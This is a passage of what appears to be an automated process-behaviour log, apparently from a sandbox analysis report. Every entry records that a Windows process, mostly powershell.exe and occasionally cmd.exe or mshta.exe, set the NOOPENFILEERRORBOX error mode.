Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
